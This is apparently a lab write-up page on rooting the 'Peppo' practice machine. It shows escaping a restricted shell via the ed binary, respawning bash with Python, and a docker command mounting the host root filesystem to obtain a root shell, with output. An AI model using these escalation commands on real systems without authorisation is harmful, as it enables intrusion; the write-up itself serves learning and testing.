> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/peppo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/peppo/priv-escalation.md).

# Priv Escalation

### Breaking out of RSHELL

I first tried to use the following articles.&#x20;

{% embed url="<https://oscpnotes.infosecsanyam.in/My_OSCP_Preparation_Notes--Enumeration--SSH--rbash_shell_esacping.html>" %}

This one didn't work.&#x20;

{% embed url="<https://www.metahackers.pro/breakout-of-restricted-shell/>" %}

This one also didn't work however after seeing my $PATH, I was able to see the commands I was able to run.&#x20;

![](/files/MzF26Bb2bUFoXAkSPuVb)

After seeing the commands the current shell was able to run I went to gtfobins.

{% embed url="<https://gtfobins.github.io/gtfobins/ed/>" %}

The ed binary allows us to escape a restricted shell.&#x20;

We then run the following command to export a new $PATH.

```
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
python -c 'import pty; pty.spawn("/bin/bash")'
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
```

![](/files/wbO89oCKqaN8BupiqAJi)

### Enumerate images

![](/files/fGj51zpb5QKs58NgZHaO)

{% embed url="<https://gtfobins.github.io/gtfobins/docker/>" %}

Based on the images run the following command:

```
docker run -v /:/mnt --rm -it redmine chroot /mnt sh
```

```
eleanor@peppo:/tmp$ docker run -v /:/mnt --rm -it redmine chroot /mnt sh
# whoami
root
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lyethar.gitbook.io/peppo/priv-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
